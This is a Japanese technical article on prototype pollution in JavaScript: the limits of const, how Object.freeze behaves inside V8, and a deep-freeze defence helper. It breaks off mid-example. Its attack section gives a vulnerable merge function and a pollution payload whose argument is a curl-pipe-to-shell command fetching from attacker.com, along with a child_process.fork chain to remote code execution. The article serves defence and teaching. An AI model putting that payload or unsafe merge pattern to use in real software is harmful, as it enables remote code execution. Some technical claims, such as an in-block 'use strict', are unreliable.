【テクニカル・上級編】プロトタイプ汚染を防ぐための「凍結」テクニック：Object.freezeとconstの併用 – JavaScriptコア文法・モダン言語仕様と変数・関数解析バイブル

`const` と `Object.freeze` の欺瞞を暴く：V8隠しクラスの破壊とプロトタイプ汚染（Prototype Pollution）を物理層から完封する堅牢化アーキテクチャ

JavaScriptにおいて「`const` を使っているから変数は安全だ」という言説は、言語の仕様とランタイムのメモリ構造を理解していないエンジニアによる幻想に過ぎません。`const` が保証するのは識別子とメモリセル（参照アドレス）間の「バインディングの不変性」であり、ヒープ領域上に確保されたオブジェクト内部の可変性（Mutability）には何ら関与しないからです。

Webアプリケーションの高度化に伴い、サードパーティライブラリの依存関係を突いた「サプライチェーン攻撃」は過酷さを増しています。中でも、JavaScript特有の動的型システムとプロトタイプ鎖の柔軟性を悪用したプロトタイプ汚染（Prototype Pollution）は、単なるパラメータの書き換えにとどまらず、Node.js環境におけるリモートコード実行（RCE）へと容易に昇華します。

本稿では、単なる文法解説を排除し、V8エンジンのコンパイルパイプライン、隠しクラス（Hidden Class / Map）の遷移、ヒープメモリ空間の物理構造、そしてイベントループにおける脆弱性ハックの全貌を解剖します。`const` と `Object.freeze` を真の防壁として機能させるための超低レイヤな知見と、パフォーマンスの劣化を最小限に抑えるアーキテクチャパターンを提示します。

—

1. `const` の限界とV8ヒープメモリにおける「参照」の物理構造

`const` キーワードの真挙動を理解するには、V8エンジンにおける変数のスコープ評価とヒープメモリ割り当てのメカニズムへ遡る必要があります。

スコープ環境（Context）とヒープ（Heap）の分離

V8がJavaScriptコードを解析する際、Ignition（バイトコードインタプリタ）およびTurboFan（Optimizing JIT Compiler）は、変数のライフサイクルをスコープコンテキスト（Context）またはスタックフレーム上で管理します。

// 識別子 config はスコープ（スタック/コンテキスト）にバインドされる
// 実際のオブジェクトデータは V8 Heap の Old Space や New Space に確保される
const config = {
env: “production”,
db: {
port: 5432
}
};

// 1. バインディングの再代入（エラー: TypeError: Assignment to constant variable.）
// config = {};

// 2. ヒープ上のオブジェクト構造の書き換え（V8エンジンはこれを完全に許可する）
config.env = “staging”;
config.db.port = 3306;
config.__proto__.polluted = true; // Prototype Chainへの侵入

`const config` と宣言した際、V8内部では以下の現象が発生しています。

1. バインディングの固定: `config` というシンボルからヒープ上のオブジェクトアドレス（例: `0x000012344321`）へのポインタの再書き換えが不許可（TDZ: Temporal Dead Zoneの通過後、Immutable Bindingとして登録）となる。
2. オブジェクト内部の野放し: ポインタ先のメモリセル（`0x000012344321`）に存在する `JSObject` のプロパティ配列（`NameDictionary` または `DescriptorArray`）の変更に対し、`const` は一切の防壁を提供しない。

つまり、`const` は「ポインタの書き換え」を防ぐだけであり、ポインタが指す実体構造の破壊を防ぐことは不可能です。

—

2. プロトタイプ汚染（Prototype Pollution）からRCE（リモートコード実行）への昇華構造

プロトタイプ汚染は、悪意あるユーザーが `__proto__` や `constructor.prototype` を経由して `Object.prototype` に任意のプロパティを注入する攻撃手法です。

攻撃のメカニズム：不完全なオブジェクトのマージ処理

ライブラリ等で頻繁に見られる「再帰的マージ関数（Deep Merge）」の不備を突く典型的なペロードを追跡してみましょう。

/

• 脆弱性を抱えた再帰的マージ関数の典型例

/
function unsafeMerge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof target[key] === ‘object’ && typeof source[key] === ‘object’) {
unsafeMerge(target[key], source[key]);
} else {
// key が “__proto__” である場合、target.__proto__ 即ち Object.prototype が汚染される
target[key] = source[key];
}
}
}
return target;
}

// 外部から入力された悪意あるJSONのパース結果を想定
const payload = JSON.parse(‘{“__proto__”: {“execPath”: “/bin/sh”, “execArgv”: [“-c”, “curl http://attacker.com/shell.sh | sh”]}}’);

// 空のオブジェクトに対してマージを実行
const userConfig = {};
unsafeMerge(userConfig, payload);

// この時点で、アプリケーション内に存在する全てのオブジェクトが汚染されている
const emptyObj = {};
console.log(emptyObj.execPath); // => “/bin/sh” (プロトタイプ鎖を辿って参照されてしまう)

Node.jsコアを起点とするRCEのチェーン

プロトタイプ汚染が単なるデータの改ざんに留まらないのは、Node.jsの内部モジュールが「オブジェクトの未定義プロパティに対するデフォルト値の参照」においてプロトタイプ鎖を検索するからです。

例えば、`child_process.fork()` や `child_process.execFile()` は内部でオプションオブジェクトを処理します。

const { fork } = require(‘child_process’);

// 攻撃者によって Object.prototype.execPath や Object.prototype.env が汚染された状態
// 開発者が意図的にオプションを指定していなくても、プロトタイプ鎖から汚染された値が引き抜かれる
fork(‘server.js’, [], {
// execPath が未指定の場合、V8は Object.prototype.execPath を参照する
});

V8エンジンが `options.execPath` のプロパティルックアップを実行した際、直近の `JSObject` にプロパティが存在しない場合、V8は `Prototype Chain Traversal`（プロトタイプ鎖の走査）を開始し、`Object.prototype` に行き当たります。結果として、攻撃者の指定したバイナリが実行され、完全なリモートコード実行（RCE）が成立します。

—

3. V8内部における `Object.freeze()` の動作物理学とパフォーマンス・トレードオフ

プロトタイプ汚染や意図しないプロパティ改変を防ぐ基本ツールが `Object.freeze()` です。しかし、これがV8内部でどのように処理され、オブジェクトの物理構造（Map/Hidden Class）にどう影響を与えるかを知らずに使用すると、恐ろしいパフォーマンス劣化を引き起こします。

V8 C++コードにおける Integrity Level

`Object.freeze()` を呼ぶと、V8のC++レイヤでは `JSObject::SetIntegrityLevel`（`src/objects/js-objects.cc`）が呼び出されます。

[ Object.preventExtensions ] -> [[Extensible]] = false
│
▼
[ Object.seal ] -> [[Extensible]] = false
+ 全プロパティの [[Configurable]] = false
│
▼
[ Object.freeze ] -> [[Extensible]] = false
+ 全プロパティの [[Configurable]] = false
+ 全データプロパティの [[Writable]] = false

隠しクラス（Shape / Map）の遷移と Dictionary Mode（Slow Mode）へのフォールバック

V8はJavaScriptの動的プロパティアクセスを高速化するため、オブジェクト生成時に「隠しクラス（Map）」を割り当て、メモリ上のオフセットをインラインキャッシュ（Inline Cache: IC）に記録します。

[Map0] — (add ‘a’) —> [Map1 (offset 0)] — (add ‘b’) —> [Map2 (offset 1)]

しかし、作成途中のオブジェクトに対して動的に `Object.freeze()` を実行した場合、V8は既存の遷移ツリーを破棄せざるを得ません。

1. Fast Mode（Fast Properties）の変更: オブジェクトのMapは「Frozen Transition Map」へと差し替えられる。
2. Dictionary Mode（Slow Mode）への移行: 複雑なオブジェクトや動的書き換えが多数発生した後にフリーズされたオブジェクトは、インラインアクセスが可能な「配列構造の記述子（DescriptorArray）」から、ハッシュテーブル構造である「`NameDictionary`」へと即座に格下げされる。

// V8内部の最適化挙動を確認する概念実証 (Node.js `–allow-natives-syntax` フラグが必要)

const fastObj = { a: 1, b: 2 };

// %HasFastProperties(fastObj) => true (インラインキャッシュが効く状態)

Object.freeze(fastObj);

// 極端に複雑なプロパティ操作後にフリーズされた場合
const slowObj = {};
for (let i = 0; i < 1000; i++) { slowObj[`key_${i}`] = i; } Object.freeze(slowObj); // %HasDictionaryProperties(slowObj) => true (Dictionary Modeへ転落し、アクセス速度が低速化)

TurboFan（JITコンパイラ）は、Dictionary Modeに転落したオブジェクトに対するプロパティアクセスにおいてインラインキャッシュ（IC）を生成できず、アクセス毎にハッシュテーブル検索（Slow Lookup）を強いるため、実行速度は数倍〜数十倍に低下します。

—

4. 完封の防壁：`const` × `Object.freeze` × 脱プロトタイプによる超堅牢化

プロトタイプ汚染攻撃を理論上100%遮断し、同時にV8エンジンの最適化を極力阻害しない防壁（Defensive Architecture）をいかに構築すべきか。単なる `Object.freeze()` では浅い（Shallow）防御にしかならないため、以下の3つの防御線を物理レイヤに構築する必要があります。

防御線 1: `Object.create(null)` によるプロトタイプ鎖の物理的断絶

攻撃者が `__proto__` 経由で探索を試みても、探索の起爆点となる `Object.prototype` 自体へのリンクを保持しないオブジェクトを生成します。

防御線 2: 再帰的ディープフリーズ（Deep Freeze）の適用

`Object.freeze()` は浅い（Shallow）フリーズしか行いません。ネストされたオブジェクトや関数オブジェクトも含めて再帰的に不変性を強制する必要があります。

防御線 3: 循環参照の検知と `WeakSet` によるメモリリークの防止

ディープフリーズを行う際、循環参照が存在すると無限再帰によるスタックオーバーフローを引き起こします。これを防ぐために `WeakSet` を活用します。

以下に、シニアアーキテクトが本番環境のコアライブラリに組み込むべきプロダクションレベルの「完全防御型ディープフリーズ・エンジン」のコードを示します。

/

• 高高度堅牢化ディープフリーズ・エンジン
• – プロトタイプ汚染のルートを遮断
• – 循環参照を安全にトラバース
• – 不変性の強制とV8の内部状態を保護

/
const deepFreezeAndProtect = (function () {
// 処理済みオブジェクトを追跡し、無限ループとメモリリークを防ぐ
const visited = new WeakSet();

return function freeze(obj, options = { detachPrototype: false }) {
// プリミティブ型、null、undefined はそのまま返却
if (obj === null || typeof obj !== ‘object’ && typeof obj !== ‘function’) {
return obj;
}

// 既に処理済みのオブジェクトであればスキップ（循環参照対策）
if (visited.has(obj)) {
return obj;
}
visited.add(obj);

// オプションに応じてプロトタイプを剥奪（完全にプロトタイプ汚染を無効化）
if (options.detachPrototype && typeof obj === ‘object’) {
Object.setPrototypeOf(obj, null);
}

// プロパティ名のシンボルおよび文字列キーを全て取得（Non-enumerable含む）
const propNames = Reflect.ownKeys(obj);

for (const name of propNames) {
const value = Reflect.get(obj, name);

// 値が存在し、かつオブジェクトまたは関数である場合は再帰処理
if (value && (typeof value === ‘object’ || typeof value === ‘function’)) {
// セキュリティ上、__proto__ の直接再帰は防止
if (name !== ‘__proto__’) {
freeze(value, options);
}
}
}

// 対象オブジェクト自体の拡張を禁止し、全プロパティを Read-Only / Non-configurable 化
return Object.freeze(obj);
};
})();

// ==========================================
// 実践検証とセキュリティ境界のテスティング
// ==========================================

// 1. 基盤設定オブジェクトの定義 (const によるバインディング固定)
const SystemConfig = deepFreezeAndProtect({
apiEndpoint: “https://api.internal.net/v1”,
credentials: {
timeout: 5000,
retryLimits: 3
},
// ネストされた関数コンテキスト
logger: () => console.log(“System Log”)
}, { detachPrototype: true }); // プロトタイプを剥奪

// — 攻撃シナリオ 1: 直接プロパティ改ざんの試み —
try {
// strict mode 下では TypeError が発生。non-strict では無効化される
‘use strict’;
SystemConfig.credentials.timeout = 99999;
} catch (e) {
console.error(“防御成功 [Property Mutation Blocked]:”, e.message);
// => Cannot assign to read only property ‘timeout’ of object ‘#